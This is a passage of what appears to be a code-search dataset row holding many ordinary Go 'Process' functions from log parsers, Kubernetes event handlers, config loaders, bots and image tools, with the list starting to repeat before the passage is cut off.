err)\n\t\t}\n\t\tif err := processEventResponses(archetype.Events.Advance); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t\tif err := processEventResponses(archetype.Events.Hit); err != nil {\n\t\t\terrs = errors.Join(errs, err)\n\t\t}\n\t}\n\n\treturn errs\n}","func (ep *EventProcessor) Process(eb *core.EventBatch) *core.EventBatch {\n\tfor _, event := range eb.Events {\n\t\tif event.Reason == podOOMKilling {\n\t\t\tevent.InvolvedObject.Kind = \"Pod\"\n\t\t\trst := podOOMRegex.FindStringSubmatch(event.Message)\n\t\t\tif len(rst) >= 5 {\n\t\t\t\tevent.InvolvedObject.Name = rst[2]\n\t\t\t\tevent.InvolvedObject.Namespace = rst[3]\n\t\t\t\tevent.InvolvedObject.UID = types.UID(rst[4])\n\n\t\t\t\tevent.ObjectMeta.Name = event.InvolvedObject.Name\n\t\t\t\tevent.ObjectMeta.Namespace = event.InvolvedObject.Namespace\n\t\t\t\tevent.ObjectMeta.UID = event.InvolvedObject.UID\n\t\t\t}\n\t\t}\n\t}\n\treturn eb\n}","func (g *groupTransformation) ProcessMessage(m Message) error {\n\tdefer m.Ack()\n\n\tswitch m := m.(type) {\n\tcase FinishMsg:\n\t\tg.Finish(m.SrcDatasetID(), m.Error())\n\t\treturn nil\n\tcase ProcessChunkMsg:\n\t\treturn g.t.Process(m.TableChunk(), g.d, g.d.mem)\n\tcase FlushKeyMsg:\n\t\treturn nil\n\tcase ProcessMsg:\n\t\treturn g.Process(m.SrcDatasetID(), m.Table())\n\t}\n\treturn nil\n}","func Process(prefix string, spec interface{}) error {\n\tenv := environment()\n\tinfos, err := gatherInfoForProcessing(prefix, spec, env)\n\n\tfor _, info := range infos {\n\t\tvalue, ok := env[info.Key]\n\t\tif !ok && info.Alt != \"\" {\n\t\t\tvalue, ok = env[info.Alt]\n\t\t}\n\n\t\tdef := info.Tags.Get(\"default\")\n\t\tif def != \"\" && !ok {\n\t\t\tvalue = def\n\t\t}\n\n\t\treq := info.Tags.Get(\"required\")\n\t\tif !ok && def == \"\" {\n\t\t\tif isTrue(req) {\n\t\t\t\tkey := info.Key\n\t\t\t\tif info.Alt != \"\" {\n\t\t\t\t\tkey = info.Alt\n\t\t\t\t}\n\t\t\t\treturn fmt.Errorf(\"required key %s missing value\", key)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\terr = processField(value, info.Field)\n\t\tif err != nil {\n\t\t\treturn &ParseError{\n\t\t\t\tKeyName: info.Key,\n\t\t\t\tFieldName: info.Name,\n\t\t\t\tTypeName: info.Field.Type().String(),\n\t\t\t\tValue: value,\n\t\t\t\tErr: err,\n\t\t\t}\n\t\t}\n\t}\n\n\treturn err\n}","func ProcessRecord(res *as.Result, generations map[uint32]uint64, expirations map[uint32]uint64) {\n\tt := time.Now()\n\texpDate, err := strconv.ParseUint(t.Add(time.Duration(res.Record.Expiration)*time.Second).Format(intermediateDateForm), 10, 32)\n\texpirationDate := uint32(expDate)\n\tif err != nil {\n\t\tlog.Printf(\"Unable to convert the expiration ttl to a uint date: %d - %s\\n\", res.Record.Expiration, err)\n\t}\n\tgen := res.Record.Generation\n\tif _, ok := generations[gen]; ok {\n\t\tgenerations[gen]++\n\t} else {\n\t\tgenerations[gen] = 1\n\t}\n\tif _, ok := expirations[expirationDate]; ok {\n\t\texpirations[expirationDate]++\n\t} else {\n\t\texpirations[expirationDate] = 1\n\t}\n}","func (c *changeCache) processEntry(change *LogEntry) channels.Set {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\tif c.logsDisabled {\n\t\treturn nil\n\t}\n\n\tsequence := change.Sequence\n\tif change.Sequence > c.internalStats.highSeqFeed {\n\t\tc.internalStats.highSeqFeed = change.Sequence\n\t}\n\n\t// Duplicate handling - there are a few cases where processEntry can be called multiple times for a sequence:\n\t// - recentSequences for rapidly updated documents\n\t// - principal mutations that don't increment sequence\n\t// We can cancel processing early in these scenarios.\n\t// Check if this is a duplicate of an already processed sequence\n\tif sequence < c.nextSequence && !c.WasSkipped(sequence) {\n\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \" Ignoring duplicate of #%d\", sequence)\n\t\treturn nil\n\t}\n\n\t// Check if this is a duplicate of a pending sequence\n\tif _, found := c.receivedSeqs[sequence]; found {\n\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \" Ignoring duplicate of #%d\", sequence)\n\t\treturn nil\n\t}\n\tc.receivedSeqs[sequence] = struct{}{}\n\n\tvar changedChannels channels.Set\n\tif sequence == c.nextSequence || c.nextSequence == 0 {\n\t\t// This is the expected next sequence so we can add it now:\n\t\tchangedChannels = channels.SetFromArrayNoValidate(c._addToCache(change))\n\t\t// Also add any pending sequences that are now contiguous:\n\t\tchangedChannels = changedChannels.Update(c._addPendingLogs())\n\t} else if sequence > c.nextSequence {\n\t\t// There's a missing sequence (or several), so put this one on ice until it arrives:\n\t\theap.Push(&c.pendingLogs, change)\n\t\tnumPending := len(c.pendingLogs)\n\t\tc.internalStats.pendingSeqLen = numPending\n\t\tif base.LogDebugEnabled(base.KeyCache) {\n\t\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \" Deferring #%d (%d now waiting for #%d...#%d) doc %q / %q\",\n\t\t\t\tsequence, numPending, c.nextSequence, c.pendingLogs[0].Sequence-1, base.UD(change.DocID), change.RevID)\n\t\t}\n\t\t// Update max pending high watermark stat\n\t\tif numPending > c.internalStats.maxPending {\n\t\t\tc.internalStats.maxPending = numPending\n\t\t}\n\n\t\tif numPending > c.options.CachePendingSeqMaxNum {\n\t\t\t// Too many pending; add the oldest one:\n\t\t\tchangedChannels = c._addPendingLogs()\n\t\t}\n\t} else if sequence > c.initialSequence {\n\t\t// Out-of-order sequence received!\n\t\t// Remove from skipped sequence queue\n\t\tif !c.WasSkipped(sequence) {\n\t\t\t// Error removing from skipped sequences\n\t\t\tbase.InfofCtx(c.logCtx, base.KeyCache, \" Received unexpected out-of-order change - not in skippedSeqs (seq %d, expecting %d) doc %q / %q\", sequence, c.nextSequence, base.UD(change.DocID), change.RevID)\n\t\t} else {\n\t\t\tbase.InfofCtx(c.logCtx, base.KeyCache, \" Received previously skipped out-of-order change (seq %d, expecting %d) doc %q / %q \", sequence, c.nextSequence, base.UD(change.DocID), change.RevID)\n\t\t\tchange.Skipped = true\n\t\t}\n\n\t\tchangedChannels = changedChannels.UpdateWithSlice(c._addToCache(change))\n\t\t// Add to cache before removing from skipped, to ensure lowSequence doesn't get incremented until results are available\n\t\t// in cache\n\t\terr := c.RemoveSkipped(sequence)\n\t\tif err != nil {\n\t\t\tbase.DebugfCtx(c.logCtx, base.KeyCache, \"Error removing skipped sequence: #%d from cache: %v\", sequence, err)\n\t\t}\n\t}\n\treturn changedChannels\n}","func (record *RecordTypeSRV) Process(a Answer) {\n\n\tpriority := decodePart(a.Data, 0, 2)\n\tweight := decodePart(a.Data, 2, 4)\n\tport := decodePart(a.Data, 4, 6)\n\n\ttarget, _ := decodeQname(a.Data[6:])\n\n\trecord.Priority = priority\n\trecord.Weight = weight\n\trecord.Port = port\n\trecord.Target = target\n}","func (job *JOB) Process(ctx context.Context, rsp *http.Response) error {\n\tif rsp.StatusCode != http.StatusOK {\n\t\treturn errors.New(rsp.Status)\n\t}\n\tdefer rsp.Body.Close()\n\n\tvar result Result\n\tif err := json.NewDecoder(rsp.Body).Decode(&result); err != nil {\n\t\treturn errors.Annotate(err, \"json decode\")\n\t}\n\tlog.Println(\"Parks count:\", len(result.Items[0].Parks))\n\tfor _, item := range result.Items {\n\t\tfor _, park := range item.Parks {\n\t\t\tif err := job.updateParkStatus(ctx, park); err != nil {\n\t\t\t\tlog.Println(\"WARN: park status refresh failed: \", err)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}","func TransformCommand(c *cli.Context) error {\n\tif c.NArg() != 1 {\n\t\tcli.ShowCommandHelp(c, \"transform\")\n\n\t\treturn fmt.Errorf(\"Missing required argument FILE\")\n\t}\n\n\tfhirVersion := c.GlobalString(\"fhir\")\n\tfilename := c.Args().Get(0)\n\n\tfileContent, err := ioutil.ReadFile(filename)\n\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Error reading file %s\", filename)\n\t}\n\n\titer := jsoniter.ConfigFastest.BorrowIterator(fileContent)\n\tdefer jsoniter.ConfigFastest.ReturnIterator(iter)\n\n\tres := iter.Read()\n\n\tif res == nil {\n\t\treturn errors.Wrapf(err, \"Error parsing file %s as JSON\", filename)\n\t}\n\n\tout, err := doTransform(res.(map[string]interface{}), fhirVersion)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Error performing transformation\")\n\t}\n\n\toutJson, err := jsoniter.ConfigFastest.MarshalIndent(out, \"\", \" \")\n\n\tos.Stdout.Write(outJson)\n\tos.Stdout.Write([]byte(\"\\n\"))\n\n\treturn nil\n}","func (l *Lists)Process(vc VerbContext, args []string) string {\n\tif l.Lists == nil {\n\t\tl.Lists = map[string]List{}\n\t}\n\n\tif len(args) == 0 {\n\t\treturn l.String()\n\t} else if len(args) == 1 {\n\t\tif _,exists := l.Lists[args[0]]; exists {\n\t\t\treturn l.Lists[args[0]].String()\n\t\t} else {\n\t\t\treturn fmt.Sprintf(\"You don't have a list of '%s'\", args[0])\n\t\t}\n\t}\n\n\tif _,exists := l.Lists[args[0]]; !exists {\n\t\tl.Lists[args[0]] = NewList()\n\t}\n\n\tlist, action, args := args[0], args[1], args[2:]\n\tn := 1\n\n\t// If there is a quantity, shift it off\n\tif len(args) > 1 {\n\t\tif val,err := strconv.Atoi(args[0]); err == nil {\n\t\t\tn = val\n\t\t\targs = args[1:]\n\t\t}\n\t}\n\n\tif action == \"remove\" {\n\t\tn *= -1\n\t} else if action != \"add\" {\n\t\treturn l.Help()\n\t}\n\n\tl.Lists[list].Update(strings.Join(args, \" \"), n)\n\n\treturn l.Lists[list].String()\n}","func (joint UrlFilterJoint) Process(context *model.Context) error {\n\n\tsnapshot := context.MustGet(model.CONTEXT_SNAPSHOT).(*model.Snapshot)\n\n\toriginalUrl := context.GetStringOrDefault(model.CONTEXT_TASK_OriginalUrl, \"\")\n\turl := context.MustGetString(model.CONTEXT_TASK_URL)\n\thost := context.MustGetString(model.CONTEXT_TASK_Host)\n\tif url == \"\" {\n\t\tcontext.Exit(\"nil url\")\n\t\treturn nil\n\t}\n\n\tif originalUrl != \"\" {\n\t\tif !joint.validRule(urlMatchRule, originalUrl) {\n\t\t\tcontext.Exit(\"invalid url (original), \" + originalUrl)\n\t\t\treturn nil\n\t\t}\n\t}\n\n\tif !joint.validRule(urlMatchRule, url) {\n\t\tcontext.Exit(\"invalid url, \" + url)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(hostMatchRule, host) {\n\t\tcontext.Exit(\"invalid host, \" + host)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(pathMatchRule, snapshot.Path) {\n\t\tcontext.Exit(\"invalid path, \" + snapshot.Path)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(fileMatchRule, snapshot.File) {\n\t\tcontext.Exit(\"invalid file, \" + snapshot.File)\n\t\treturn nil\n\t}\n\n\tif !joint.validRule(fileExtensionMatchRule, util.FileExtension(snapshot.File)) {\n\t\tcontext.Exit(\"invalid file extension, \" + snapshot.File)\n\t\treturn nil\n\t}\n\n\treturn nil\n}","func (p *MultiLineParser) process(input *DecodedInput) {\n\tcontent, status, timestamp, partial, err := p.parser.Parse(input.content)\n\tif err != nil {\n\t\tlog.Debug(err)\n\t}\n\t// track the raw data length and the timestamp so that the agent tails\n\t// from the right place at restart\n\tp.rawDataLen += input.rawDataLen\n\tp.timestamp = timestamp\n\tp.status = status\n\tp.buffer.Write(content)\n\n\tif !partial || p.buffer.Len() >= p.lineLimit {\n\t\t// the current chunk marks the end of an aggregated line\n\t\tp.sendLine()\n\t}\n}","func (c *v1Conn) Process(hooks EventHooks) {\n\tvar err error\n\tvar line string\n\tfor err == nil {\n\t\tline, err = c.readline()\n\t\tif len(line) == 0 {\n\t\t\t// eof (proably?)\n\t\t\tc.Close()\n\t\t\treturn\n\t\t}\n\n\t\tuline := strings.ToUpper(line)\n\t\tparts := strings.Split(uline, \" \")\n\t\thandler, ok := c.cmds[parts[0]]\n\t\tif ok {\n\t\t\t// we know the command\n\t\t\terr = handler(c, line, hooks)\n\t\t} else {\n\t\t\t// we don't know the command\n\t\t\terr = c.printfLine(\"%s Unknown Command: %s\", RPL_UnknownCommand, line)\n\t\t}\n\t}\n}","func (cl *List) Process(bot *hbot.Bot, m *hbot.Message) {\n\t// Is the first character our command prefix?\n\tif m.Content[:1] == cl.Prefix {\n\t\tparts := strings.Fields(m.Content[1:])\n\t\tcommandstring := parts[0]\n\t\tcmd, ok := cl.Commands[commandstring]\n\t\tif !ok {\n\t\t\tif commandstring == \"help\" {\n\t\t\t\tif len(parts) < 2 {\n\t\t\t\t\tbot.Msg(m.From, \"Here's what I can do:\")\n\t\t\t\t\tvar commands bytes.Buffer\n\t\t\t\t\ti := 0\n\t\t\t\t\tfor _, cmd := range cl.Commands {\n\t\t\t\t\t\ti = i + 1\n\t\t\t\t\t\tcommands.WriteString(cmd.Name)\n\t\t\t\t\t\tif i != len(cl.Commands) {\n\t\t\t\t\t\t\tcommands.WriteString(\", \")\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbot.Msg(m.From, commands.String())\n\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"The prefix for all these commands is: \\\"%s\\\"\", cl.Prefix))\n\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"See %shelp for detailed information\", cl.Prefix))\n\t\t\t\t} else {\n\t\t\t\t\thelpcmd, helpok := cl.Commands[parts[1]]\n\t\t\t\t\tif helpok {\n\t\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"%s: %s\", helpcmd.Description, helpcmd.Usage))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tbot.Msg(m.From, fmt.Sprintf(\"No such command: %s\", parts[1]))\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\t// looks good, get the quote and reply with the result\n\t\tbot.Logger.Debug(\"action\", \"start processing\",\n\t\t\t\"args\", parts,\n\t\t\t\"full text\", m.Content)\n\t\tgo func(m *hbot.Message) {\n\t\t\tbot.Logger.Debug(\"action\", \"executing\",\n\t\t\t\t\"full text\", m.Content)\n\t\t\tif len(parts) > 1 {\n\t\t\t\tcmd.Run(m, parts[1:])\n\t\t\t} else {\n\t\t\t\tcmd.Run(m, []string{})\n\t\t\t}\n\t\t}(m)\n\t}\n}","func Process(w io.Writer, r io.Reader, transform TransformFunc) error {\n\tif transform == nil {\n\t\t_, err := io.Copy(w, r)\n\t\treturn err\n\t}\n\n\t// Decode the original gif.\n\tim, err := gif.DecodeAll(r)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create a new RGBA image to hold the incremental frames.\n\tfirstFrame := im.Image[0].Bounds()\n\tb := image.Rect(0, 0, firstFrame.Dx(), firstFrame.Dy())\n\timg := image.NewRGBA(b)\n\n\t// Resize each frame.\n\tfor index, frame := range im.Image {\n\t\tbounds := frame.Bounds()\n\t\tprevious := img\n\t\tdraw.Draw(img, bounds, frame, bounds.Min, draw.Over)\n\t\tim.Image[index] = imageToPaletted(transform(img), frame.Palette)\n\n\t\tswitch im.Disposal[index] {\n\t\tcase gif.DisposalBackground:\n\t\t\t// I'm just assuming that the gif package will apply the appropriate\n\t\t\t// background here, since there doesn't seem to be an easy way to\n\t\t\t// access the global color table\n\t\t\timg = image.NewRGBA(b)\n\t\tcase gif.DisposalPrevious:\n\t\t\timg = previous\n\t\t}\n\t}\n\n\t// Set image.Config to new height and width\n\tim.Config.Width = im.Image[0].Bounds().Max.X\n\tim.Config.Height = im.Image[0].Bounds().Max.Y\n\n\treturn gif.EncodeAll(w, im)\n}","func (action *provisionLogsAction) Process() error {\n\treturn nil\n}","func (fn *rekeyByAggregationIDFn) ProcessElement(ctx context.Context, id string, encryptedKeyIter func(**pb.ElGamalCiphertext) bool, partialReportIter func(**pb.PartialReport) bool, emitIDKey func(string, IDKeyShare), emitAggData func(AggData)) error {\n\tvar exponentiatedKey *pb.ElGamalCiphertext\n\tif !encryptedKeyIter(&exponentiatedKey) {\n\t\treturn fmt.Errorf(\"no matched exponentiated key\")\n\t}\n\n\tvar partialReport *pb.PartialReport\n\tif !partialReportIter(&partialReport) {\n\t\treturn fmt.Errorf(\"no matched partial report\")\n\t}\n\n\tdecryptedKey, err := elgamalencrypt.Decrypt(exponentiatedKey, fn.ElGamalPrivateKey)\n\tif err != nil {\n\t\treturn err\n\t}\n\taggID, err := elgamalencrypt.ExponentiateOnECPointStr(decryptedKey, fn.Secret)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfn.generatedAggIDCounter.Inc(ctx, 1)\n\n\temitIDKey(aggID, IDKeyShare{\n\t\tReportID: id,\n\t\tKeyShare: partialReport.KeyShare,\n\t})\n\n\temitAggData(AggData{\n\t\tReportID: id,\n\t\tAggID: aggID,\n\t\tValueShare: int64(partialReport.ValueShare),\n\t})\n\n\treturn nil\n}","func Process (config config.Config) cache.Cache {\n\tscanner := scanner.Scanner {\n\t\t Config: config,\n\t}\n\tscripts := scanner.Scan()\n\treturn scanner.LoadInCache(scripts)\n}","func ProcessLogEntry(ctx context.Context, e event.Event) error {\n\tvar msg MessagePublishedData\n\tif err := e.DataAs(&msg); err != nil {\n\t\treturn fmt.Errorf(\"event.DataAs: %w\", err)\n\t}\n\n\tlog.Printf(\"Log entry data: %s\", string(msg.Message.Data)) // Automatically decoded from base64.\n\treturn nil\n}","func ProcessLiquid(fi FileInfo) (string, error) {\n content, err := fi.GetContent()\n if err != nil {\n return \"\", err\n }\n\n doc := NewLiquidDocument(content)\n context := make(map[interface{}]interface{})\n return doc.Render(context), nil\n}","func (c *ConfigPolicyNode) Process(m map[string]ctypes.ConfigValue) (*map[string]ctypes.ConfigValue, *ProcessingErrors) {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\tpErrors := NewProcessingErrors()\n\t// Loop through each rule and process\n\tfor key, rule := range c.rules {\n\t\t// items exists for rule\n\t\tif cv, ok := m[key]; ok {\n\t\t\t// Validate versus matching data\n\t\t\te := rule.Validate(cv)\n\t\t\tif e != nil {\n\t\t\t\tpErrors.AddError(e)\n\t\t\t}\n\t\t} else {\n\t\t\t// If it was required add error\n\t\t\tif rule.Required() {\n\t\t\t\te := fmt.Errorf(\"required key missing (%s)\", key)\n\t\t\t\tpErrors.AddError(e)\n\t\t\t} else {\n\t\t\t\t// If default returns we should add it\n\t\t\t\tcv := rule.Default()\n\t\t\t\tif cv != nil {\n\t\t\t\t\tm[key] = cv\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\t}\n\n\tif pErrors.HasErrors() {\n\t\treturn nil, pErrors\n\t}\n\treturn &m, pErrors\n}","func (f *IPLabelFilter) Process(line []byte, lbs *LabelsBuilder) ([]byte, bool) {\n\treturn line, f.filterTy(line, f.ty, lbs)\n}"],"string":"[\n \"func (p *RestructureOperator) Transform(entry *entry.Entry) error {\\n\\tfor _, op := range p.ops {\\n\\t\\terr := op.Apply(entry)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func processEntry(theReader *dwarf.Reader, depth int, theEntry *dwarf.Entry) {\\n\\n\\n\\n\\t// Process the entry\\n\\tswitch theEntry.Tag {\\n\\t\\tcase dwarf.TagCompileUnit:\\tprocessCompileUnit(theReader, depth, theEntry);\\n\\t\\tcase dwarf.TagSubprogram:\\tprocessSubprogram( theReader, depth, theEntry);\\n\\t\\tdefault:\\n\\t\\t\\tif (theEntry.Children) {\\n\\t\\t\\t\\tprocessChildren(theReader, depth+1, true);\\n\\t\\t\\t}\\n\\t\\t}\\n}\",\n \"func (r *Parser) Process(ctx context.Context, e *entry.Entry) error {\\n\\tparse := r.parse\\n\\n\\t// If we have a headerAttribute set we need to dynamically generate our parser function\\n\\tif r.headerAttribute != \\\"\\\" {\\n\\t\\th, ok := e.Attributes[r.headerAttribute]\\n\\t\\tif !ok {\\n\\t\\t\\terr := fmt.Errorf(\\\"failed to read dynamic header attribute %s\\\", r.headerAttribute)\\n\\t\\t\\tr.Error(err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\theaderString, ok := h.(string)\\n\\t\\tif !ok {\\n\\t\\t\\terr := fmt.Errorf(\\\"header is expected to be a string but is %T\\\", h)\\n\\t\\t\\tr.Error(err)\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\theaders := strings.Split(headerString, string([]rune{r.headerDelimiter}))\\n\\t\\tparse = generateParseFunc(headers, r.fieldDelimiter, r.lazyQuotes, r.ignoreQuotes)\\n\\t}\\n\\n\\treturn r.ParserOperator.ProcessWith(ctx, e, parse)\\n}\",\n \"func (p *Pipeline) Process(labels model.LabelSet, extracted map[string]interface{}, ts *time.Time, entry *string) {\\n\\tstart := time.Now()\\n\\n\\t// Initialize the extracted map with the initial labels (ie. \\\"filename\\\"),\\n\\t// so that stages can operate on initial labels too\\n\\tfor labelName, labelValue := range labels {\\n\\t\\textracted[string(labelName)] = string(labelValue)\\n\\t}\\n\\n\\tfor i, stage := range p.stages {\\n\\t\\tif Debug {\\n\\t\\t\\tlevel.Debug(p.logger).Log(\\\"msg\\\", \\\"processing pipeline\\\", \\\"stage\\\", i, \\\"name\\\", stage.Name(), \\\"labels\\\", labels, \\\"time\\\", ts, \\\"entry\\\", entry)\\n\\t\\t}\\n\\t\\tstage.Process(labels, extracted, ts, entry)\\n\\t}\\n\\tdur := time.Since(start).Seconds()\\n\\tif Debug {\\n\\t\\tlevel.Debug(p.logger).Log(\\\"msg\\\", \\\"finished processing log line\\\", \\\"labels\\\", labels, \\\"time\\\", ts, \\\"entry\\\", entry, \\\"duration_s\\\", dur)\\n\\t}\\n\\tif p.jobName != nil {\\n\\t\\tp.plDuration.WithLabelValues(*p.jobName).Observe(dur)\\n\\t}\\n}\",\n \"func (u *Parser) Process(ctx context.Context, entry *entry.Entry) error {\\n\\treturn u.ParserOperator.ProcessWith(ctx, entry, u.parse)\\n}\",\n \"func Process(v interface{}) error {\\n\\tif len(os.Args) == 1 {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tif os.Args[1] == \\\"-h\\\" || os.Args[1] == \\\"--help\\\" {\\n\\t\\tfmt.Print(display(os.Args[0], v))\\n\\t\\treturn ErrHelp\\n\\t}\\n\\n\\targs, err := parse(\\\"\\\", v)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif err := apply(os.Args, args); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (o *StdoutOperator) Process(ctx context.Context, entry *entry.Entry) error {\\n\\to.mux.Lock()\\n\\terr := o.encoder.Encode(entry)\\n\\tif err != nil {\\n\\t\\to.mux.Unlock()\\n\\t\\to.Errorf(\\\"Failed to process entry: %s, $s\\\", err, entry.Record)\\n\\t\\treturn err\\n\\t}\\n\\to.mux.Unlock()\\n\\treturn nil\\n}\",\n \"func (h *Handler) Process(ctx context.Context, object *unstructured.Unstructured) error {\\n\\th.mu.Lock()\\n\\tdefer h.mu.Unlock()\\n\\n\\taccessor, err := meta.Accessor(object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tuid := accessor.GetUID()\\n\\th.nodes[uid] = object\\n\\n\\treturn nil\\n}\",\n \"func (_this *RaftNode) Process(ctx context.Context, m raftpb.Message) error {\\n\\treturn _this.node.Step(ctx, m)\\n}\",\n \"func (r *CSVParser) Process(ctx context.Context, entry *entry.Entry) error {\\n\\treturn r.ParserOperator.ProcessWith(ctx, entry, r.parse)\\n}\",\n \"func (p Parser) Process(ctx context.Context, s string, data templates.ContainerData) (labels.Modifiers, error) {\\n\\t// make sure the input is valid before further processing\\n\\tif !validatorRegex.Match([]byte(s)) {\\n\\t\\treturn nil, fmt.Errorf(invalidFormatErrorF, s)\\n\\t}\\n\\tlogrus.WithContext(ctx).Debugf(\\\"Processing %s\\\", s)\\n\\n\\t// one template call at a time\\n\\tparts := strings.Split(s, \\\"|\\\")\\n\\tvar modifiers labels.Modifiers\\n\\tfor _, part := range parts {\\n\\t\\tlogrus.WithContext(ctx).Debugf(\\\"Processing %s\\\", part)\\n\\t\\t// Parse out arguments and template name\\n\\t\\ttemplate, arguments, err := parse(part)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Wrapf(err, \\\"failed to parse \\\\\\\"%s\\\\\\\"\\\", part)\\n\\t\\t}\\n\\n\\t\\t// Parse the template for modifiers\\n\\t\\tmodifier, err := p.templateDirectory.GetModifiers(ctx, template, templates.Data{\\n\\t\\t\\tContainerData: data,\\n\\t\\t\\tArguments: arguments,\\n\\t\\t})\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, errors.Wrapf(err, \\\"failed to parse template %s\\\", template)\\n\\t\\t}\\n\\t\\tmodifiers = append(modifiers, modifier)\\n\\t}\\n\\treturn modifiers, nil\\n}\",\n \"func (s *Flattener) HandleProcess(hdr *sfgo.SFHeader, cont *sfgo.Container, proc *sfgo.Process) error {\\n\\treturn nil\\n}\",\n \"func processLine(line string, re *regexp.Regexp, process *process, stateName string,\\n\\tmachineState *statemachine.MachineState, processCommand statemachine.ProcessCommand) {\\n\\n\\tsubmatch := re.FindStringSubmatch(line)\\n\\tnames := re.SubexpNames()\\n\\n\\t// len of submatch and names should be same\\n\\tif len(submatch) == len(names) {\\n\\t\\t// transform result to map\\n\\t\\tresult := map[string]interface{}{}\\n\\t\\tfor index, name := range names {\\n\\t\\t\\tif existing, ok := result[name]; ok {\\n\\t\\t\\t\\t// is result[name] already a slice?\\n\\t\\t\\t\\tif _, ok := result[name].([]string); ok {\\n\\t\\t\\t\\t\\tresult[name] = append(result[name].([]string), submatch[index])\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tresult[name] = []string{fmt.Sprintf(\\\"%v\\\", existing), submatch[index]}\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tresult[name] = submatch[index]\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// add all founded fields to record\\n\\t\\tfor index, val := range process.ast.Vals {\\n\\t\\t\\tif field, ok := result[val.Variable]; ok {\\n\\t\\t\\t\\tif val.List && reflect.TypeOf(field).Kind() != reflect.Slice {\\n\\t\\t\\t\\t\\tfield = []string{fmt.Sprintf(\\\"%v\\\", field)}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tmachineState.SetRowField(index, field)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif processCommand.Command.Clearall {\\n\\t\\tfor index := range process.ast.Vals {\\n\\t\\t\\tmachineState.SetRowField(index, \\\"\\\")\\n\\t\\t}\\n\\t}\\n\\n\\tif processCommand.Command.Clear {\\n\\t\\tfor index, val := range process.ast.Vals {\\n\\t\\t\\tif !val.Filldown {\\n\\t\\t\\t\\tmachineState.SetRowField(index, \\\"\\\")\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\t// if processCommand has Record, add tempRecord to Record\\n\\tif processCommand.Command.Record {\\n\\t\\tConfirmTmpRecord(process, machineState)\\n\\t}\\n\\n}\",\n \"func (f *FakeOutput) Process(_ context.Context, entry *entry.Entry) error {\\n\\tf.Received <- entry\\n\\treturn nil\\n}\",\n \"func (d dft) Process(appMeta helmify.AppMetadata, obj *unstructured.Unstructured) (bool, helmify.Template, error) {\\n\\tif obj.GroupVersionKind() == nsGVK {\\n\\t\\t// Skip namespaces from processing because namespace will be handled by Helm.\\n\\t\\treturn true, nil, nil\\n\\t}\\n\\tlogrus.WithFields(logrus.Fields{\\n\\t\\t\\\"ApiVersion\\\": obj.GetAPIVersion(),\\n\\t\\t\\\"Kind\\\": obj.GetKind(),\\n\\t\\t\\\"Name\\\": obj.GetName(),\\n\\t}).Warn(\\\"Unsupported resource: using default processor.\\\")\\n\\tname := appMeta.TrimName(obj.GetName())\\n\\n\\tmeta, err := ProcessObjMeta(appMeta, obj)\\n\\tif err != nil {\\n\\t\\treturn true, nil, err\\n\\t}\\n\\tdelete(obj.Object, \\\"apiVersion\\\")\\n\\tdelete(obj.Object, \\\"kind\\\")\\n\\tdelete(obj.Object, \\\"metadata\\\")\\n\\n\\tbody, err := yamlformat.Marshal(obj.Object, 0)\\n\\tif err != nil {\\n\\t\\treturn true, nil, err\\n\\t}\\n\\treturn true, &defaultResult{\\n\\t\\tdata: []byte(meta + \\\"\\\\n\\\" + body),\\n\\t\\tname: name,\\n\\t}, nil\\n}\",\n \"func (b *Base) Process() error {\\n\\tif b.Exchange == \\\"\\\" {\\n\\t\\treturn errExchangeNameUnset\\n\\t}\\n\\n\\tif b.Pair.IsEmpty() {\\n\\t\\treturn errPairNotSet\\n\\t}\\n\\n\\tif b.Asset.String() == \\\"\\\" {\\n\\t\\treturn errAssetTypeNotSet\\n\\t}\\n\\n\\tif b.LastUpdated.IsZero() {\\n\\t\\tb.LastUpdated = time.Now()\\n\\t}\\n\\n\\tif err := b.Verify(); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn service.Update(b)\\n}\",\n \"func Process(spec interface{}) error {\\n\\tvar el multierror.Errors\\n\\tres := map[string]interface{}{}\\n\\tfor _, fname := range conf.Settings.FileLocations {\\n\\t\\tcontents, err := ioutil.ReadFile(fname)\\n\\t\\tif err != nil {\\n\\t\\t\\tel = append(el, 